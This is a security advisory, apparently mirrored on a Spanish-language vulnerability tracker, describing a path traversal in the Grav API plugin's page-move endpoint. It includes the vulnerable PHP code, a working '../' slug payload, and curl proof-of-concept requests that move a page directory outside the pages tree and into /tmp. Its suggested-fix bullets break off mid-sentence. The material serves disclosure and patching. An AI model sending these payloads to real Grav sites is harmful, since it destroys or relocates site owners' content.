GHSA-QJQ4-JP55-4MX2
Path traversal in `POST /pages/{route}/move` allows moving a page directory outside the pages tree
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-QJQ4-JP55-4MX2 divulgada | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
Summary
`PagesController::move()` sanitizes the request's `slug` field with
`ltrim($body['slug'] ?? $page->slug(), '.')`, which only strips **leading
period characters**. It does nothing about `/` or `..` segments elsewhere in
the string. The resulting value is concatenated into a filesystem path and
passed to `Grav\Common\Filesystem\Folder::move()`, which has no containment
check of its own (it only refuses to overwrite an existing target). An
authenticated API caller holding only `api.pages.write` — an ordinary
content-editor scope, not `api.super` — can move an entire page directory
(content + media) to an arbitrary path outside `user/pages/`, anywhere the
web server process can write.
Severity & Threat Model
Per the project's trust-boundary-based severity guidelines: this requires
an authenticated API credential scoped to `api.pages.write` (an
ordinary content-editor/publisher-tier scope) — not `api.super`, and not
reachable anonymously. Within that scope, the actor gains a capability
their role was never granted: writing/relocating files to arbitrary
writable locations on the filesystem, entirely outside the pages tree
they're meant to be confined to (demonstrated reaching `/tmp`, outside
the whole Grav install). This crosses the trust boundary of the
"publisher" role into unconstrained filesystem access, rather than
staying within the actor's own session/content. I believe this maps to
HIGH under the project's guidelines (cross-trust-boundary escalation
by a lower-privilege actor) — not CRITICAL, since it does require an
authenticated `api.pages.write` credential rather than being reachable
by an anonymous visitor.
Affected component / version
- Package: `getgrav/grav-plugin-api`
- Version tested: 1.0.9 (`develop`, commit `f9438d4e71389b1041ac60b69b0b5714ecfa3bdd`, 2026-07-06) and 1.0.7 (GPM `stable` channel) — identical vulnerable code in both.
- File: `classes/Api/Controllers/PagesController.php`, `move()`
- Also relevant: `system/src/Grav/Common/Filesystem/Folder.php` (`move()`/`create()`) in `getgrav/grav` core, which has no path-containment check of its own either.
Details
`classes/Api/Controllers/PagesController.php` (`move()`):
public function move(ServerRequestInterface $request): ResponseInterface
{
$this->requirePermission($request, self::PERMISSION_WRITE); // api.pages.write
...
$newSlug = ltrim($body['slug'] ?? $page->slug(), '.');
...
$dirName = $newOrder !== null
? str_pad((string) $newOrder, 2, '0', STR_PAD_LEFT) . '.' . $newSlug
: $newSlug;
$oldPath = $page->path();
$newPath = $newParentPath . '/' . $dirName;
...
if (is_dir($newPath)) {
throw new ValidationException("A page already exists at the destination path.");
}
Folder::move($oldPath, $newPath);`ltrim($str, '.')` removes a leading run of literal `.` characters only —
it does not reject or neutralize `/` or `..` anywhere else in the string.
A slug such as `01.home/../../../pwned` survives completely intact (it
doesn't start with a dot), and is concatenated straight into `$newPath`.
`Folder::move()` (`getgrav/grav` core,
`system/src/Grav/Common/Filesystem/Folder.php`):
public static function move($source, $target)
{
...
if (file_exists($target)) {
throw new RuntimeException('Cannot move files to existing folder/file.');
}
self::create(dirname($target));
@rename($source, $target);
...There is no allowlist/containment check confining `$target` to the pages
root — the only guard is "don't overwrite an existing path."
Practical PoC note: a naive payload like `slug: "x/../../../pwned"`
does *not* work directly, because `Folder::create()`'s underlying
`mkdir($path, 0777, true)` fails with `File exists` when it has to create
a *new* intermediate directory (e.g. `x`) immediately followed by a `..`
segment referencing it (a quirk of PHP's recursive `mkdir`, not a
mitigation). The payload works when the traversal is routed through a
directory that already exists on disk (e.g. Grav's own `01.home`
page folder), so that the destination's parent resolves via `is_dir()`
without needing to create anything new. This is a minor practical detail
for an attacker to work around, not a protection.
Proof of Concept
Tested against a clean checkout of `getgrav/grav` (develop) with
`getgrav/grav-plugin-api` replaced by a fresh `git clone` of its own
`develop` branch (commit `f9438d4`, 2026-07-06), running via PHP's
built-in server, with an API key scoped to only `api.pages.read` +
`api.pages.write` (no `api.super`, no `admin.*`).
Full raw request/response transcript (`curl -v`, captured 2026-07-07
23:47 KST / 2026-07-07T14:47:41Z):
> POST /api/v1/pages/typography/move HTTP/1.1
> Host: localhost:18080
> User-Agent: curl/8.7.1
> Accept: */*
> X-API-Key: grav_f5ef01c833d20df31264106ead7e42877b5f369d300cf80e
> Content-Type: application/json
> Content-Length: 76
>
{"parent": "/", "slug": "01.home/../../../pwned-hyun-report", "order": null}
< HTTP/1.1 200 OK
< Date: Tue, 07 Jul 2026 14:47:41 GMT
< X-Powered-By: PHP/8.5.7
< X-Invalidates: pages:move:/typography, pages:update:/01.home/../../../pwned-hyun-report, pages:list
< Content-Type: application/json
< Cache-Control: no-store, max-age=0
< X-RateLimit-Limit: 120
< X-RateLimit-Remaining: 119
< X-RateLimit-Reset: 1783435662
< Content-Length: 100
{"data":{"route":"/01.home/../../../pwned-hyun-report","slug":"01.home/../../../pwned-hyun-report"}}Filesystem check immediately after (same terminal session):
$ ls user/pages/
01.home # "typography" is gone
$ ls .
... pwned-hyun-report ... # the whole page folder (default.md + media) now
# sits at the Grav install root, outside user/pages/(Restored afterward with `mv pwned-hyun-report user/pages/02.typography`,
verified byte-identical to the git-tracked original via `git status`
showing no diff.)
Depth is not limited to "one level outside the pages folder." Because
the only requirement is that each traversed segment already exist on
disk, and every ancestor directory up to filesystem root trivially
satisfies that, the same primitive reaches arbitrarily far. Using the
same account/permissions, targeting a directory well outside the entire
Grav application tree:
curl -X POST "http://localhost:8080/api/v1/pages/typography/move" \
-H "X-API-Key: grav_XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX" \
-H "Content-Type: application/json" \
-d '{"parent": "/", "slug": "01.home/../../../../tmp/pwned-via-grav-api", "order": null}'HTTP/1.1 200 OK
{"data":{"route":"/01.home/../../../../tmp/pwned-via-grav-api", ...}}$ ls /tmp/pwned-via-grav-api/
default.mdThe page's content landed in `/tmp`, entirely outside the Grav
installation directory — confirming the reachable blast radius is
"anywhere the web server process can write on the same filesystem, given
a chain of pre-existing real directories to traverse through" (which is
always satisfiable, since `/`, `/tmp`, and every other ancestor directory
already exists), not merely "the parent of `user/pages`."
Confirmed on both the GPM `stable`-channel package (v1.0.7) and a fresh
`git clone` of the `develop` branch (v1.0.9, latest commit as of this
report) — identical vulnerable code path in both.
Impact
Any authenticated API user with `api.pages.write` — a routine
content-editor permission, far short of `api.super` — can relocate an
arbitrary page's entire directory (Markdown content + all media files) to
any pre-existing, writable directory on the same filesystem, not just
somewhere near `user/pages/` — confirmed by relocating a page all the way
to `/tmp`. Depending on deployment layout this can place attacker-chosen
content in a location served by another vhost/process on the same host,
overwrite/shadow directories the operator did not intend to expose to
this permission level, or simply destroy site content as a low-effort DoS
(the source page is gone from `user/pages/` the moment the move
succeeds — the operation is a `rename()`, not a copy). This is a serious
integrity/availability issue on its own, and a genuine arbitrary-write
primitive depending on what else is reachable and writable on the host.
Suggested Fix
- Reject any `slug` containing `/` or `\`; require it to resolve to a
- In `Folder::move()` (core), assert that the resolved real path of the
Timeline
- Discovered: 2026-07-04
- Confirmed against latest upstream `develop`: 2026-07-06, re-confirmed with fresh transcript 2026-07-07
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
Packagistgetgrav/grav-plugin-api |
Sin parche | — | — | — |
Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/getgrav/grav/security/advisories/GHSA-qjq4-jp55-4mx2Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
